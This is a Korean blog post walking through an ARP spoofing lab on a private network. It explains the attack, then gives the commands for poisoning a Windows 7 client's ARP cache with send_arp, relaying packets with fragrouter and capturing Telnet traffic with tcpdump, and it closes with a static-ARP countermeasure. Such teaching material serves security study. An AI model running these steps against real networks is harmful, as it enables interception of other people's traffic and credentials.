[네트워크] 컴퓨터 네트워크

[네트워크] ARP 스푸핑 (실습)

ITsubin 2022. 10. 2. 22:30

[ 1) ARP 스푸핑에 대한 이해 ]


{ ARP 스푸핑 }
> ARP는 IP 주소값으로 MAC 주소값을 알아내는 프로토콜

> MAC 주소를 속이는 것 ( 2계층에서 작동하기 때문에 공격 대상이 같은 LAN 안에 있어야 함. )

> ARP 스푸핑은 스니핑의 또 다른 기법으로 볼 수 있음

   *( 스니핑과 스푸핑은 엄연히 다른 공격이지만, 결과가 같음. )

 

++ 스니핑과 스푸핑의 구별?

> 스니핑은 프러미스큐어스 모드여야만 공격이 가능하지만, 스푸핑은 프러미스큐어스 모드가 아니어도 공격이 가능.


{ ARP 스푸핑의 개념 }

> 공격은 2계층에서 이루어지므로, 공격자의 IP 주소 (3계층)는 의미가 없다.

> 공격자 (A)가 공격 대상 (B, C)에게 ARP 스푸핑 공격을 할 때, B와 C의 패킷을 모두 받아야 하므로,

   두 개의 NIC가 필요. (단, 이 경우 실제 MAC Address가 노출됨)

> 1개의 NIC로도 가능하지만, 이 경우 프러미스큐어스 모드를 사용해서 MAC Address를 두 개 생성해야 함


[ 실습 - ARP 스푸핑으로 스니핑  ]


> 실습 환경 :
- 공격자 : Kali Linux (Kali GNU/Linux Rolling)  /  IP : 192.168.100.139

- 공격 대상 : Telnet Client : Windows 7  /  IP : 192.168.100.135

- Telnet Server : Ubuntu Desktop (22.04 LTS)  /  IP : 192.168.100.138


1) fake 설치

공격자 (Kali)에서 fake를 아래와 같은 명령으로 설치합니다.

apt-get install fake

설치 후 아래와 같이 send_arp 명령을 사용해서 사용법을 먼저 확인합니다.

send_arp


2) 공격 전, 시스템의 MAC Address Table (ARP Table) 확인

공격자와 공격 대상의 통신이 전혀 없었던 상태이기 때문에, ping 명령어로 공격 대상에게 패킷을 보냅니다.

ping [공격 대상]
ping -c 1 192.168.100.135
ping -c 1 192.168.100.138

( ping의 -c 옵션은 count 옵션으로, 보낼 패킷의 수를 지정하는 옵션입니다 )

 

이후 ARP Table을 확인해보면 ping을 보냈던 공격 대상의 MAC Address를 확인할 수 있습니다.

sudo arp -a
(sudo arp)

 

( Telnet Server와 Client에서도 2번의 방법을 반복하여 ARP Table의 MAC Address를 확인해줍니다.

  현재 실습 환경에서의 확인 결과는 아래와 같습니다.)

역할 OS IP MAC
공격자 Kali 192.168.100.139 00:0c:29:a4:95:c0
Telnet Server Ubuntu 192.168.100.138 00:0c:29:cb:c5:c2
Telnet Client Windows7 192.168.100.135 00:0c:29:6f:64:cf

3) 패킷 릴레이와 TCP Dump 수행

Telnet Server와 Client 간의 통신이 끊어지지 않도록 패킷 릴레이를 작동시켜야 합니다.

fragrouter -B1

 

패킷 릴레이를 작동시켜둔 상태에서 새로운 터미널 창을 열어 아래와 같이 TCP Dump를 실행합니다.

tcpdump -xX


4) ARP 스푸핑 공격 수행

send_arp를 이용해 Telnet Server의 MAC Address가 공격자(Kali)의 MAC Address라고 알립니다.

send_arp [Server IP] [공격자의 MAC] [공격대상(Client) IP] [공격대상(Client) MAC]
send_arp 192.168.100.138 00:0c:29:a4:95:c0 192.168.100.135 00:0c:29:6f:64:cf


5) 공격 후 각 시스템의 MAC Address Table 확인

공격을 수행한 후 Telnet Client (Windows 7)에서 arp -a 명령으로 Telnet Server의 MAC Address를 확인해줍니다.

 

(공격 전) Windows 7에서의 arp -a 명령 사용 결과
(공격 후) Windows 7에서의 arp -a 명령 사용 결과

공격 대상인 Telnet Client (Windows 7)에서 확인해보니 Telnet Server (Ubuntu, IP : 192.168.100.138)의 MAC Address가

[ 00:0c:29:cb:c5:c2 ]에서 [ 00:0c:29:a4:95:c0 ]로 바뀐 것을 확인할 수 있습니다.

 

즉, 공격을 받은 Client (Windows 7)은 IP 주소가 192.168.100.138인 Server의 MAC 주소가

원래의 주소인 [ 00:0c:29:cb:c5:c2 ]가 아닌, 공격자의 MAC 주소인 [ 00:0c:29:a4:95:c0 ]로 인식합니다.


{ ARP 스푸핑에 대한 보안 대책 (Windows환경) }

1) 현재 MAC Address Table을 확인합니다. [ arp -a ]

2) [ arp -s ] 명령어로 설정하고자 하는 IP Address와 MAC Address를 Static (정적)으로 변경합니다.

    ( arp -s [ IP주소 ] [ MAC주소 ]  )